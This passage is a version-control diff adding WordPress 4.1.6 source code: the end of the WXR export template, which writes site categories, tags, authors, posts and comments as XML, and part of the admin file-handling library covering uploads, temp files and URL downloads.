+		// WordPress (single site): the blog URL.
+		else
+			return get_bloginfo_rss( 'url' );
+	}
+
+	/**
+	 * Output a cat_name XML tag from a given category object
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param object $category Category Object
+	 */
+	function wxr_cat_name( $category ) {
+		if ( empty( $category->name ) )
+			return;
+
+		echo '<wp:cat_name>' . wxr_cdata( $category->name ) . '</wp:cat_name>';
+	}
+
+	/**
+	 * Output a category_description XML tag from a given category object
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param object $category Category Object
+	 */
+	function wxr_category_description( $category ) {
+		if ( empty( $category->description ) )
+			return;
+
+		echo '<wp:category_description>' . wxr_cdata( $category->description ) . '</wp:category_description>';
+	}
+
+	/**
+	 * Output a tag_name XML tag from a given tag object
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param object $tag Tag Object
+	 */
+	function wxr_tag_name( $tag ) {
+		if ( empty( $tag->name ) )
+			return;
+
+		echo '<wp:tag_name>' . wxr_cdata( $tag->name ) . '</wp:tag_name>';
+	}
+
+	/**
+	 * Output a tag_description XML tag from a given tag object
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param object $tag Tag Object
+	 */
+	function wxr_tag_description( $tag ) {
+		if ( empty( $tag->description ) )
+			return;
+
+		echo '<wp:tag_description>' . wxr_cdata( $tag->description ) . '</wp:tag_description>';
+	}
+
+	/**
+	 * Output a term_name XML tag from a given term object
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param object $term Term Object
+	 */
+	function wxr_term_name( $term ) {
+		if ( empty( $term->name ) )
+			return;
+
+		echo '<wp:term_name>' . wxr_cdata( $term->name ) . '</wp:term_name>';
+	}
+
+	/**
+	 * Output a term_description XML tag from a given term object
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param object $term Term Object
+	 */
+	function wxr_term_description( $term ) {
+		if ( empty( $term->description ) )
+			return;
+
+		echo '<wp:term_description>' . wxr_cdata( $term->description ) . '</wp:term_description>';
+	}
+
+	/**
+	 * Output list of authors with posts
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param array $post_ids Array of post IDs to filter the query by. Optional.
+	 */
+	function wxr_authors_list( array $post_ids = null ) {
+		global $wpdb;
+
+		if ( !empty( $post_ids ) ) {
+			$post_ids = array_map( 'absint', $post_ids );
+			$and = 'AND ID IN ( ' . implode( ', ', $post_ids ) . ')';
+		} else {
+			$and = '';
+		}
+
+		$authors = array();
+		$results = $wpdb->get_results( "SELECT DISTINCT post_author FROM $wpdb->posts WHERE post_status != 'auto-draft' $and" );
+		foreach ( (array) $results as $result )
+			$authors[] = get_userdata( $result->post_author );
+
+		$authors = array_filter( $authors );
+
+		foreach ( $authors as $author ) {
+			echo "\t<wp:author>";
+			echo '<wp:author_id>' . $author->ID . '</wp:author_id>';
+			echo '<wp:author_login>' . $author->user_login . '</wp:author_login>';
+			echo '<wp:author_email>' . $author->user_email . '</wp:author_email>';
+			echo '<wp:author_display_name>' . wxr_cdata( $author->display_name ) . '</wp:author_display_name>';
+			echo '<wp:author_first_name>' . wxr_cdata( $author->user_firstname ) . '</wp:author_first_name>';
+			echo '<wp:author_last_name>' . wxr_cdata( $author->user_lastname ) . '</wp:author_last_name>';
+			echo "</wp:author>\n";
+		}
+	}
+
+	/**
+	 * Ouput all navigation menu terms
+	 *
+	 * @since 3.1.0
+	 */
+	function wxr_nav_menu_terms() {
+		$nav_menus = wp_get_nav_menus();
+		if ( empty( $nav_menus ) || ! is_array( $nav_menus ) )
+			return;
+
+		foreach ( $nav_menus as $menu ) {
+			echo "\t<wp:term><wp:term_id>{$menu->term_id}</wp:term_id><wp:term_taxonomy>nav_menu</wp:term_taxonomy><wp:term_slug>{$menu->slug}</wp:term_slug>";
+			wxr_term_name( $menu );
+			echo "</wp:term>\n";
+		}
+	}
+
+	/**
+	 * Output list of taxonomy terms, in XML tag format, associated with a post
+	 *
+	 * @since 2.3.0
+	 */
+	function wxr_post_taxonomy() {
+		$post = get_post();
+
+		$taxonomies = get_object_taxonomies( $post->post_type );
+		if ( empty( $taxonomies ) )
+			return;
+		$terms = wp_get_object_terms( $post->ID, $taxonomies );
+
+		foreach ( (array) $terms as $term ) {
+			echo "\t\t<category domain=\"{$term->taxonomy}\" nicename=\"{$term->slug}\">" . wxr_cdata( $term->name ) . "</category>\n";
+		}
+	}
+
+	function wxr_filter_postmeta( $return_me, $meta_key ) {
+		if ( '_edit_lock' == $meta_key )
+			$return_me = true;
+		return $return_me;
+	}
+	add_filter( 'wxr_export_skip_postmeta', 'wxr_filter_postmeta', 10, 2 );
+
+	echo '<?xml version="1.0" encoding="' . get_bloginfo('charset') . "\" ?>\n";
+
+	?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your site. -->
+<!-- It contains information about your site's posts, pages, comments, categories, and other content. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- This file is not intended to serve as a complete backup of your site. -->
+
+<!-- To import this information into a WordPress site follow these steps: -->
+<!-- 1. Log in to that site as an administrator. -->
+<!-- 2. Go to Tools: Import in the WordPress admin panel. -->
+<!-- 3. Install the "WordPress" importer from the list. -->
+<!-- 4. Activate & Run Importer. -->
+<!-- 5. Upload this file using the form provided on that page. -->
+<!-- 6. You will first be asked to map the authors in this export file to users -->
+<!--    on the site. For each author, you may choose to map to an -->
+<!--    existing user on the site or to create a new user. -->
+<!-- 7. WordPress will then import each of the posts, pages, comments, categories, etc. -->
+<!--    contained in this file into your site. -->
+
+<?php the_generator( 'export' ); ?>
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/<?php echo WXR_VERSION; ?>/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/<?php echo WXR_VERSION; ?>/"
+>
+
+<channel>
+	<title><?php bloginfo_rss( 'name' ); ?></title>
+	<link><?php bloginfo_rss( 'url' ); ?></link>
+	<description><?php bloginfo_rss( 'description' ); ?></description>
+	<pubDate><?php echo date( 'D, d M Y H:i:s +0000' ); ?></pubDate>
+	<language><?php bloginfo_rss( 'language' ); ?></language>
+	<wp:wxr_version><?php echo WXR_VERSION; ?></wp:wxr_version>
+	<wp:base_site_url><?php echo wxr_site_url(); ?></wp:base_site_url>
+	<wp:base_blog_url><?php bloginfo_rss( 'url' ); ?></wp:base_blog_url>
+
+<?php wxr_authors_list( $post_ids ); ?>
+
+<?php foreach ( $cats as $c ) : ?>
+	<wp:category><wp:term_id><?php echo $c->term_id ?></wp:term_id><wp:category_nicename><?php echo $c->slug; ?></wp:category_nicename><wp:category_parent><?php echo $c->parent ? $cats[$c->parent]->slug : ''; ?></wp:category_parent><?php wxr_cat_name( $c ); ?><?php wxr_category_description( $c ); ?></wp:category>
+<?php endforeach; ?>
+<?php foreach ( $tags as $t ) : ?>
+	<wp:tag><wp:term_id><?php echo $t->term_id ?></wp:term_id><wp:tag_slug><?php echo $t->slug; ?></wp:tag_slug><?php wxr_tag_name( $t ); ?><?php wxr_tag_description( $t ); ?></wp:tag>
+<?php endforeach; ?>
+<?php foreach ( $terms as $t ) : ?>
+	<wp:term><wp:term_id><?php echo $t->term_id ?></wp:term_id><wp:term_taxonomy><?php echo $t->taxonomy; ?></wp:term_taxonomy><wp:term_slug><?php echo $t->slug; ?></wp:term_slug><wp:term_parent><?php echo $t->parent ? $terms[$t->parent]->slug : ''; ?></wp:term_parent><?php wxr_term_name( $t ); ?><?php wxr_term_description( $t ); ?></wp:term>
+<?php endforeach; ?>
+<?php if ( 'all' == $args['content'] ) wxr_nav_menu_terms(); ?>
+
+	<?php
+	/** This action is documented in wp-includes/feed-rss2.php */
+	do_action( 'rss2_head' );
+	?>
+
+<?php if ( $post_ids ) {
+	global $wp_query;
+
+	// Fake being in the loop.
+	$wp_query->in_the_loop = true;
+
+	// Fetch 20 posts at a time rather than loading the entire table into memory.
+	while ( $next_posts = array_splice( $post_ids, 0, 20 ) ) {
+	$where = 'WHERE ID IN (' . join( ',', $next_posts ) . ')';
+	$posts = $wpdb->get_results( "SELECT * FROM {$wpdb->posts} $where" );
+
+	// Begin Loop.
+	foreach ( $posts as $post ) {
+		setup_postdata( $post );
+		$is_sticky = is_sticky( $post->ID ) ? 1 : 0;
+?>
+	<item>
+		<title><?php
+			/** This filter is documented in wp-includes/feed.php */
+			echo apply_filters( 'the_title_rss', $post->post_title );
+		?></title>
+		<link><?php the_permalink_rss() ?></link>
+		<pubDate><?php echo mysql2date( 'D, d M Y H:i:s +0000', get_post_time( 'Y-m-d H:i:s', true ), false ); ?></pubDate>
+		<dc:creator><?php echo wxr_cdata( get_the_author_meta( 'login' ) ); ?></dc:creator>
+		<guid isPermaLink="false"><?php the_guid(); ?></guid>
+		<description></description>
+		<content:encoded><?php
+			/**
+			 * Filter the post content used for WXR exports.
+			 *
+			 * @since 2.5.0
+			 *
+			 * @param string $post_content Content of the current post.
+			 */
+			echo wxr_cdata( apply_filters( 'the_content_export', $post->post_content ) );
+		?></content:encoded>
+		<excerpt:encoded><?php
+			/**
+			 * Filter the post excerpt used for WXR exports.
+			 *
+			 * @since 2.6.0
+			 *
+			 * @param string $post_excerpt Excerpt for the current post.
+			 */
+			echo wxr_cdata( apply_filters( 'the_excerpt_export', $post->post_excerpt ) );
+		?></excerpt:encoded>
+		<wp:post_id><?php echo $post->ID; ?></wp:post_id>
+		<wp:post_date><?php echo $post->post_date; ?></wp:post_date>
+		<wp:post_date_gmt><?php echo $post->post_date_gmt; ?></wp:post_date_gmt>
+		<wp:comment_status><?php echo $post->comment_status; ?></wp:comment_status>
+		<wp:ping_status><?php echo $post->ping_status; ?></wp:ping_status>
+		<wp:post_name><?php echo $post->post_name; ?></wp:post_name>
+		<wp:status><?php echo $post->post_status; ?></wp:status>
+		<wp:post_parent><?php echo $post->post_parent; ?></wp:post_parent>
+		<wp:menu_order><?php echo $post->menu_order; ?></wp:menu_order>
+		<wp:post_type><?php echo $post->post_type; ?></wp:post_type>
+		<wp:post_password><?php echo $post->post_password; ?></wp:post_password>
+		<wp:is_sticky><?php echo $is_sticky; ?></wp:is_sticky>
+<?php	if ( $post->post_type == 'attachment' ) : ?>
+		<wp:attachment_url><?php echo wp_get_attachment_url( $post->ID ); ?></wp:attachment_url>
+<?php 	endif; ?>
+<?php 	wxr_post_taxonomy(); ?>
+<?php	$postmeta = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->postmeta WHERE post_id = %d", $post->ID ) );
+		foreach ( $postmeta as $meta ) :
+			/**
+			 * Filter whether to selectively skip post meta used for WXR exports.
+			 *
+			 * Returning a truthy value to the filter will skip the current meta
+			 * object from being exported.
+			 *
+			 * @since 3.3.0
+			 *
+			 * @param bool   $skip     Whether to skip the current post meta. Default false.
+			 * @param string $meta_key Current meta key.
+			 * @param object $meta     Current meta object.
+			 */
+			if ( apply_filters( 'wxr_export_skip_postmeta', false, $meta->meta_key, $meta ) )
+				continue;
+		?>
+		<wp:postmeta>
+			<wp:meta_key><?php echo $meta->meta_key; ?></wp:meta_key>
+			<wp:meta_value><?php echo wxr_cdata( $meta->meta_value ); ?></wp:meta_value>
+		</wp:postmeta>
+<?php	endforeach;
+
+		$comments = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_approved <> 'spam'", $post->ID ) );
+		foreach ( $comments as $c ) : ?>
+		<wp:comment>
+			<wp:comment_id><?php echo $c->comment_ID; ?></wp:comment_id>
+			<wp:comment_author><?php echo wxr_cdata( $c->comment_author ); ?></wp:comment_author>
+			<wp:comment_author_email><?php echo $c->comment_author_email; ?></wp:comment_author_email>
+			<wp:comment_author_url><?php echo esc_url_raw( $c->comment_author_url ); ?></wp:comment_author_url>
+			<wp:comment_author_IP><?php echo $c->comment_author_IP; ?></wp:comment_author_IP>
+			<wp:comment_date><?php echo $c->comment_date; ?></wp:comment_date>
+			<wp:comment_date_gmt><?php echo $c->comment_date_gmt; ?></wp:comment_date_gmt>
+			<wp:comment_content><?php echo wxr_cdata( $c->comment_content ) ?></wp:comment_content>
+			<wp:comment_approved><?php echo $c->comment_approved; ?></wp:comment_approved>
+			<wp:comment_type><?php echo $c->comment_type; ?></wp:comment_type>
+			<wp:comment_parent><?php echo $c->comment_parent; ?></wp:comment_parent>
+			<wp:comment_user_id><?php echo $c->user_id; ?></wp:comment_user_id>
+<?php		$c_meta = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->commentmeta WHERE comment_id = %d", $c->comment_ID ) );
+			foreach ( $c_meta as $meta ) :
+				/**
+				 * Filter whether to selectively skip comment meta used for WXR exports.
+				 *
+				 * Returning a truthy value to the filter will skip the current meta
+				 * object from being exported.
+				 *
+				 * @since 4.0.0
+				 *
+				 * @param bool   $skip     Whether to skip the current comment meta. Default false.
+				 * @param string $meta_key Current meta key.
+				 * @param object $meta     Current meta object.
+				 */
+				if ( apply_filters( 'wxr_export_skip_commentmeta', false, $meta->meta_key, $meta ) ) {
+					continue;
+				}
+			?>
+			<wp:commentmeta>
+				<wp:meta_key><?php echo $meta->meta_key; ?></wp:meta_key>
+				<wp:meta_value><?php echo wxr_cdata( $meta->meta_value ); ?></wp:meta_value>
+			</wp:commentmeta>
+<?php		endforeach; ?>
+		</wp:comment>
+<?php	endforeach; ?>
+	</item>
+<?php
+	}
+	}
+} ?>
+</channel>
+</rss>
+<?php
+}
Index: /tags/4.1.6/src/wp-admin/includes/file.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/file.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/file.php	(revision 33402)
@@ -0,0 +1,1195 @@
+<?php
+/**
+ * Functions for reading, writing, modifying, and deleting files on the file system.
+ * Includes functionality for theme-specific files as well as operations for uploading,
+ * archiving, and rendering output when necessary.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** The descriptions for theme files. */
+$wp_file_descriptions = array(
+	'index.php' => __( 'Main Index Template' ),
+	'style.css' => __( 'Stylesheet' ),
+	'editor-style.css' => __( 'Visual Editor Stylesheet' ),
+	'editor-style-rtl.css' => __( 'Visual Editor RTL Stylesheet' ),
+	'rtl.css' => __( 'RTL Stylesheet' ),
+	'comments.php' => __( 'Comments' ),
+	'comments-popup.php' => __( 'Popup Comments' ),
+	'footer.php' => __( 'Footer' ),
+	'header.php' => __( 'Header' ),
+	'sidebar.php' => __( 'Sidebar' ),
+	'archive.php' => __( 'Archives' ),
+	'author.php' => __( 'Author Template' ),
+	'tag.php' => __( 'Tag Template' ),
+	'category.php' => __( 'Category Template' ),
+	'page.php' => __( 'Page Template' ),
+	'search.php' => __( 'Search Results' ),
+	'searchform.php' => __( 'Search Form' ),
+	'single.php' => __( 'Single Post' ),
+	'404.php' => __( '404 Template' ),
+	'link.php' => __( 'Links Template' ),
+	'functions.php' => __( 'Theme Functions' ),
+	'attachment.php' => __( 'Attachment Template' ),
+	'image.php' => __('Image Attachment Template'),
+	'video.php' => __('Video Attachment Template'),
+	'audio.php' => __('Audio Attachment Template'),
+	'application.php' => __('Application Attachment Template'),
+	'my-hacks.php' => __( 'my-hacks.php (legacy hacks support)' ),
+	'.htaccess' => __( '.htaccess (for rewrite rules )' ),
+	// Deprecated files
+	'wp-layout.css' => __( 'Stylesheet' ),
+	'wp-comments.php' => __( 'Comments Template' ),
+	'wp-comments-popup.php' => __( 'Popup Comments Template' ),
+);
+
+/**
+ * Get the description for standard WordPress theme files and other various standard
+ * WordPress files
+ *
+ * @since 1.5.0
+ *
+ * @uses $wp_file_descriptions
+ * @param string $file Filesystem path or filename
+ * @return string Description of file from $wp_file_descriptions or basename of $file if description doesn't exist
+ */
+function get_file_description( $file ) {
+	global $wp_file_descriptions;
+
+	if ( isset( $wp_file_descriptions[basename( $file )] ) ) {
+		return $wp_file_descriptions[basename( $file )];
+	}
+	elseif ( file_exists( $file ) && is_file( $file ) ) {
+		$template_data = implode( '', file( $file ) );
+		if ( preg_match( '|Template Name:(.*)$|mi', $template_data, $name ))
+			return sprintf( __( '%s Page Template' ), _cleanup_header_comment($name[1]) );
+	}
+
+	return trim( basename( $file ) );
+}
+
+/**
+ * Get the absolute filesystem path to the root of the WordPress installation
+ *
+ * @since 1.5.0
+ *
+ * @return string Full filesystem path to the root of the WordPress installation
+ */
+function get_home_path() {
+	$home    = set_url_scheme( get_option( 'home' ), 'http' );
+	$siteurl = set_url_scheme( get_option( 'siteurl' ), 'http' );
+	if ( ! empty( $home ) && 0 !== strcasecmp( $home, $siteurl ) ) {
+		$wp_path_rel_to_home = str_ireplace( $home, '', $siteurl ); /* $siteurl - $home */
+		$pos = strripos( str_replace( '\\', '/', $_SERVER['SCRIPT_FILENAME'] ), trailingslashit( $wp_path_rel_to_home ) );
+		$home_path = substr( $_SERVER['SCRIPT_FILENAME'], 0, $pos );
+		$home_path = trailingslashit( $home_path );
+	} else {
+		$home_path = ABSPATH;
+	}
+
+	return str_replace( '\\', '/', $home_path );
+}
+
+/**
+ * Returns a listing of all files in the specified folder and all subdirectories up to 100 levels deep.
+ * The depth of the recursiveness can be controlled by the $levels param.
+ *
+ * @since 2.6.0
+ *
+ * @param string $folder Optional. Full path to folder. Default empty.
+ * @param int    $levels Optional. Levels of folders to follow, Default 100 (PHP Loop limit).
+ * @return bool|array False on failure, Else array of files
+ */
+function list_files( $folder = '', $levels = 100 ) {
+	if ( empty($folder) )
+		return false;
+
+	if ( ! $levels )
+		return false;
+
+	$files = array();
+	if ( $dir = @opendir( $folder ) ) {
+		while (($file = readdir( $dir ) ) !== false ) {
+			if ( in_array($file, array('.', '..') ) )
+				continue;
+			if ( is_dir( $folder . '/' . $file ) ) {
+				$files2 = list_files( $folder . '/' . $file, $levels - 1);
+				if ( $files2 )
+					$files = array_merge($files, $files2 );
+				else
+					$files[] = $folder . '/' . $file . '/';
+			} else {
+				$files[] = $folder . '/' . $file;
+			}
+		}
+	}
+	@closedir( $dir );
+	return $files;
+}
+
+/**
+ * Returns a filename of a Temporary unique file.
+ * Please note that the calling function must unlink() this itself.
+ *
+ * The filename is based off the passed parameter or defaults to the current unix timestamp,
+ * while the directory can either be passed as well, or by leaving it blank, default to a writable temporary directory.
+ *
+ * @since 2.6.0
+ *
+ * @param string $filename Optional. Filename to base the Unique file off. Default empty.
+ * @param string $dir      Optional. Directory to store the file in. Default empty.
+ * @return string a writable filename
+ */
+function wp_tempnam($filename = '', $dir = '') {
+	if ( empty($dir) )
+		$dir = get_temp_dir();
+	$filename = basename($filename);
+	if ( empty($filename) )
+		$filename = time();
+
+	$filename = preg_replace('|\..*$|', '.tmp', $filename);
+	$filename = $dir . wp_unique_filename($dir, $filename);
+	touch($filename);
+	return $filename;
+}
+
+/**
+ * Make sure that the file that was requested to edit, is allowed to be edited
+ *
+ * Function will die if if you are not allowed to edit the file
+ *
+ * @since 1.5.0
+ *
+ * @param string $file file the users is attempting to edit
+ * @param array $allowed_files Array of allowed files to edit, $file must match an entry exactly
+ * @return string|null
+ */
+function validate_file_to_edit( $file, $allowed_files = '' ) {
+	$code = validate_file( $file, $allowed_files );
+
+	if (!$code )
+		return $file;
+
+	switch ( $code ) {
+		case 1 :
+			wp_die( __( 'Sorry, that file cannot be edited.' ) );
+
+		// case 2 :
+		// wp_die( __('Sorry, can&#8217;t call files with their real path.' ));
+
+		case 3 :
+			wp_die( __( 'Sorry, that file cannot be edited.' ) );
+	}
+}
+
+/**
+ * Handle PHP uploads in WordPress, sanitizing file names, checking extensions for mime type,
+ * and moving the file to the appropriate directory within the uploads directory.
+ *
+ * @since 4.0.0
+ *
+ * @see wp_handle_upload_error
+ *
+ * @param array  $file      Reference to a single element of $_FILES. Call the function once for
+ *                          each uploaded file.
+ * @param array  $overrides An associative array of names => values to override default variables.
+ * @param string $time      Time formatted in 'yyyy/mm'.
+ * @param string $action    Expected value for $_POST['action'].
+ * @return array On success, returns an associative array of file attributes. On failure, returns
+ *               $overrides['upload_error_handler'](&$file, $message ) or array( 'error'=>$message ).
+*/
+function _wp_handle_upload( &$file, $overrides, $time, $action ) {
+	// The default error handler.
+	if ( ! function_exists( 'wp_handle_upload_error' ) ) {
+		function wp_handle_upload_error( &$file, $message ) {
+			return array( 'error' => $message );
+		}
+	}
+
+	/**
+	 * Filter the data for a file before it is uploaded to WordPress.
+	 *
+	 * The dynamic portion of the hook name, `$action`, refers to the post action.
+	 *
+	 * @since 2.9.0 as 'wp_handle_upload_prefilter'.
+	 * @since 4.0.0 Converted to a dynamic hook with `$action`.
+	 *
+	 * @param array $file An array of data for a single file.
+	 */
+	$file = apply_filters( "{$action}_prefilter", $file );
+
+	// You may define your own function and pass the name in $overrides['upload_error_handler']
+	$upload_error_handler = 'wp_handle_upload_error';
+	if ( isset( $overrides['upload_error_handler'] ) ) {
+		$upload_error_handler = $overrides['upload_error_handler'];
+	}
+
+	// You may have had one or more 'wp_handle_upload_prefilter' functions error out the file. Handle that gracefully.
+	if ( isset( $file['error'] ) && ! is_numeric( $file['error'] ) && $file['error'] ) {
+		return $upload_error_handler( $file, $file['error'] );
+	}
+
+	// Install user overrides. Did we mention that this voids your warranty?
+
+	// You may define your own function and pass the name in $overrides['unique_filename_callback']
+	$unique_filename_callback = null;
+	if ( isset( $overrides['unique_filename_callback'] ) ) {
+		$unique_filename_callback = $overrides['unique_filename_callback'];
+	}
+
+	/*
+	 * This may not have orignially been intended to be overrideable,
+	 * but historically has been.
+	 */
+	if ( isset( $overrides['upload_error_strings'] ) ) {
+		$upload_error_strings = $overrides['upload_error_strings'];
+	} else {
+		// Courtesy of php.net, the strings that describe the error indicated in $_FILES[{form field}]['error'].
+		$upload_error_strings = array(
+			false,
+			__( 'The uploaded file exceeds the upload_max_filesize directive in php.ini.' ),
+			__( 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form.' ),
+			__( 'The uploaded file was only partially uploaded.' ),
+			__( 'No file was uploaded.' ),
+			'',
+			__( 'Missing a temporary folder.' ),
+			__( 'Failed to write file to disk.' ),
+			__( 'File upload stopped by extension.' )
+		);
+	}
+
+	// All tests are on by default. Most can be turned off by $overrides[{test_name}] = false;
+	$test_form = isset( $overrides['test_form'] ) ? $overrides['test_form'] : true;
+	$test_size = isset( $overrides['test_size'] ) ? $overrides['test_size'] : true;
+
+	// If you override this, you must provide $ext and $type!!
+	$test_type = isset( $overrides['test_type'] ) ? $overrides['test_type'] : true;
+	$mimes = isset( $overrides['mimes'] ) ? $overrides['mimes'] : false;
+
+	// A correct form post will pass this test.
+	if ( $test_form && ( ! isset( $_POST['action'] ) || ( $_POST['action'] != $action ) ) ) {
+		return call_user_func( $upload_error_handler, $file, __( 'Invalid form submission.' ) );
+	}
+	// A successful upload will pass this test. It makes no sense to override this one.
+	if ( isset( $file['error'] ) && $file['error'] > 0 ) {
+		return call_user_func( $upload_error_handler, $file, $upload_error_strings[ $file['error'] ] );
+	}
+
+	$test_file_size = 'wp_handle_upload' === $action ? $file['size'] : filesize( $file['tmp_name'] );
+	// A non-empty file will pass this test.
+	if ( $test_size && ! ( $test_file_size > 0 ) ) {
+		if ( is_multisite() ) {
+			$error_msg = __( 'File is empty. Please upload something more substantial.' );
+		} else {
+			$error_msg = __( 'File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini or by post_max_size being defined as smaller than upload_max_filesize in php.ini.' );
+		}
+		return call_user_func( $upload_error_handler, $file, $error_msg );
+	}
+
+	// A properly uploaded file will pass this test. There should be no reason to override this one.
+	$test_uploaded_file = 'wp_handle_upload' === $action ? @ is_uploaded_file( $file['tmp_name'] ) : @ is_file( $file['tmp_name'] );
+	if ( ! $test_uploaded_file ) {
+		return call_user_func( $upload_error_handler, $file, __( 'Specified file failed upload test.' ) );
+	}
+
+	// A correct MIME type will pass this test. Override $mimes or use the upload_mimes filter.
+	if ( $test_type ) {
+		$wp_filetype = wp_check_filetype_and_ext( $file['tmp_name'], $file['name'], $mimes );
+		$ext = empty( $wp_filetype['ext'] ) ? '' : $wp_filetype['ext'];
+		$type = empty( $wp_filetype['type'] ) ? '' : $wp_filetype['type'];
+		$proper_filename = empty( $wp_filetype['proper_filename'] ) ? '' : $wp_filetype['proper_filename'];
+
+		// Check to see if wp_check_filetype_and_ext() determined the filename was incorrect
+		if ( $proper_filename ) {
+			$file['name'] = $proper_filename;
+		}
+		if ( ( ! $type || !$ext ) && ! current_user_can( 'unfiltered_upload' ) ) {
+			return call_user_func( $upload_error_handler, $file, __( 'Sorry, this file type is not permitted for security reasons.' ) );
+		}
+		if ( ! $type ) {
+			$type = $file['type'];
+		}
+	} else {
+		$type = '';
+	}
+
+	/*
+	 * A writable uploads dir will pass this test. Again, there's no point
+	 * overriding this one.
+	 */
+	if ( ! ( ( $uploads = wp_upload_dir( $time ) ) && false === $uploads['error'] ) ) {
+		return call_user_func( $upload_error_handler, $file, $uploads['error'] );
+	}
+
+	$filename = wp_unique_filename( $uploads['path'], $file['name'], $unique_filename_callback );
+
+	// Move the file to the uploads dir.
+	$new_file = $uploads['path'] . "/$filename";
+	if ( 'wp_handle_upload' === $action ) {
+		$move_new_file = @ move_uploaded_file( $file['tmp_name'], $new_file );
+	} else {
+		$move_new_file = @ rename( $file['tmp_name'], $new_file );
+	}
+
+	if ( false === $move_new_file ) {
+		if ( 0 === strpos( $uploads['basedir'], ABSPATH ) ) {
+			$error_path = str_replace( ABSPATH, '', $uploads['basedir'] ) . $uploads['subdir'];
+		} else {
+			$error_path = basename( $uploads['basedir'] ) . $uploads['subdir'];
+		}
+		return $upload_error_handler( $file, sprintf( __('The uploaded file could not be moved to %s.' ), $error_path ) );
+	}
+
+	// Set correct file permissions.
+	$stat = stat( dirname( $new_file ));
+	$perms = $stat['mode'] & 0000666;
+	@ chmod( $new_file, $perms );
+
+	// Compute the URL.
+	$url = $uploads['url'] . "/$filename";
+
+	if ( is_multisite() ) {
+		delete_transient( 'dirsize_cache' );
+	}
+
+	/**
+	 * Filter the data array for the uploaded file.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param array  $upload {
+	 *     Array of upload data.
+	 *
+	 *     @type string $file Filename of the newly-uploaded file.
+	 *     @type string $url  URL of the uploaded file.
+	 *     @type string $type File type.
+	 * }
+	 * @param string $context The type of upload action. Values include 'upload' or 'sideload'.
+	 */
+	return apply_filters( 'wp_handle_upload', array(
+		'file' => $new_file,
+		'url'  => $url,
+		'type' => $type
+	), 'wp_handle_sideload' === $action ? 'sideload' : 'upload' ); }
+
+/**
+ * Wrapper for _wp_handle_upload(), passes 'wp_handle_upload' action.
+ *
+ * @since 2.0.0
+ *
+ * @see _wp_handle_upload()
+ *
+ * @param array      $file      Reference to a single element of $_FILES. Call the function once for
+ *                              each uploaded file.
+ * @param array|bool $overrides Optional. An associative array of names=>values to override default
+ *                              variables. Default false.
+ * @param string     $time      Optional. Time formatted in 'yyyy/mm'. Default null.
+ * @return array On success, returns an associative array of file attributes. On failure, returns
+ *               $overrides['upload_error_handler'](&$file, $message ) or array( 'error'=>$message ).
+ */
+function wp_handle_upload( &$file, $overrides = false, $time = null ) {
+	/*
+	 *  $_POST['action'] must be set and its value must equal $overrides['action']
+	 *  or this:
+	 */
+	$action = 'wp_handle_upload';
+	if ( isset( $overrides['action'] ) ) {
+		$action = $overrides['action'];
+	}
+
+	return _wp_handle_upload( $file, $overrides, $time, $action );
+}
+
+/**
+ * Wrapper for _wp_handle_upload(), passes 'wp_handle_sideload' action
+ *
+ * @since 2.6.0
+ *
+ * @see _wp_handle_upload()
+ *
+ * @param array      $file      An array similar to that of a PHP $_FILES POST array
+ * @param array|bool $overrides Optional. An associative array of names=>values to override default
+ *                              variables. Default false.
+ * @param string     $time      Optional. Time formatted in 'yyyy/mm'. Default null.
+ * @return array On success, returns an associative array of file attributes. On failure, returns
+ *               $overrides['upload_error_handler'](&$file, $message ) or array( 'error'=>$message ).
+ */
+function wp_handle_sideload( &$file, $overrides = false, $time = null ) {
+	/*
+	 *  $_POST['action'] must be set and its value must equal $overrides['action']
+	 *  or this:
+	 */
+	$action = 'wp_handle_sideload';
+	if ( isset( $overrides['action'] ) ) {
+		$action = $overrides['action'];
+	}
+	return _wp_handle_upload( $file, $overrides, $time, $action );
+}
+
+
+/**
+ * Downloads a url to a local temporary file using the WordPress HTTP Class.
+ * Please note, That the calling function must unlink() the file.
+ *
+ * @since 2.5.0
+ *
+ * @param string $url the URL of the file to download
+ * @param int $timeout The timeout for the request to download the file default 300 seconds
+ * @return mixed WP_Error on failure, string Filename on success.
+ */
+function download_url( $url, $timeout = 300 ) {
+	//WARNING: The file is not automatically deleted, The script must unlink() the file.
+	if ( ! $url )
+		return new WP_Error('http_no_url', __('Invalid URL Provided.'));
+
+	$tmpfname = wp_tempnam($url);
+	if ( ! $tmpfname )
+		return new WP_Error('http_no_file', __('Could not create Temporary file.'));
+
+	$response = wp_safe_remote_get( $url, array( 'timeout' => $timeout, 'stream' => true, 'filename' => $tmpfname ) );
+
+	if ( is_wp_error( $response ) ) {
+		unlink( $tmpfname );
+		return $response;
+	}
+
+	if ( 200 != wp_remote_retrieve_response_code( $response ) ){
+		unlink( $tmpfname );
+		return new WP_Error( 'http_404', trim( wp_remote_retrieve_response_message( $response ) ) );
+	}
+
+	$content_md5 = wp_remote_retrieve_header( $response, 'content-md5' );
+	if ( $content_md5 ) {
+		$md5_check = verify_file_md5( $tmpfname, $content_md5 );
+		if ( is_wp_error( $md5_check ) ) {
+			unlink( $tmpfname );
+			return $md5_check;
+		}
+	}
+
+	return $tmpfname;
+}
+
+/**
+ * Calculates and compares the MD5 of a file to its expected value.
+ *
+ * @since 3.7.0
+ *
